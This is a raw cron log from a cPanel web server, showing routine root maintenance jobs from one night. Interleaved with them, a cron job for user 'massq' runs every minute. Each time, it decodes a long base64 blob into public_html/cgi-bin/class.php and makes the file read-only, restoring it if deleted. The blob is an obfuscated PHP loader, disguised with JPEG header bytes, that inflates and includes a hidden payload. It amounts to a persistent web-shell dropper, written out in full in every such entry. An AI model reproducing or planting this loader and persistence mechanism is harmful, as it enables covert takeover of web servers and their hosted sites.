Aug 31 00:40:01 server CROND[10534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:40:01 server CROND[10536]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:40:01 server CROND[10537]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:40:01 server CROND[10538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:40:01 server CROND[10542]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:40:01 server CROND[10543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:40:01 server CROND[10540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:40:01 server CROND[10541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:41:01 server CROND[11354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:41:01 server CROND[11356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:41:01 server CROND[11355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:42:01 server CROND[11719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:42:01 server CROND[11720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:42:01 server CROND[11721]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 00:42:01 server CROND[11722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:43:01 server CROND[12104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:43:01 server CROND[12105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:43:01 server CROND[12106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:44:01 server CROND[12439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:44:01 server CROND[12437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:44:01 server CROND[12438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:45:01 server CROND[12671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:45:01 server CROND[12677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:45:01 server CROND[12684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:45:01 server CROND[12683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:45:01 server CROND[12687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:45:01 server CROND[12685]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:45:01 server CROND[12688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:46:01 server CROND[13256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:46:01 server CROND[13257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:46:01 server CROND[13258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:47:01 server CROND[13384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:47:01 server CROND[13383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:47:01 server CROND[13385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:48:01 server CROND[13512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:48:01 server CROND[13513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:48:01 server CROND[13514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:49:01 server CROND[13658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:49:01 server CROND[13659]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:49:01 server CROND[13660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:50:01 server CROND[13901]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:50:01 server CROND[13903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:50:01 server CROND[13905]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:50:01 server CROND[13909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:50:01 server CROND[13906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:50:01 server CROND[13907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:50:01 server CROND[13904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:50:01 server CROND[13908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:50:01 server CROND[13911]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 00:51:01 server CROND[14564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:51:01 server CROND[14565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
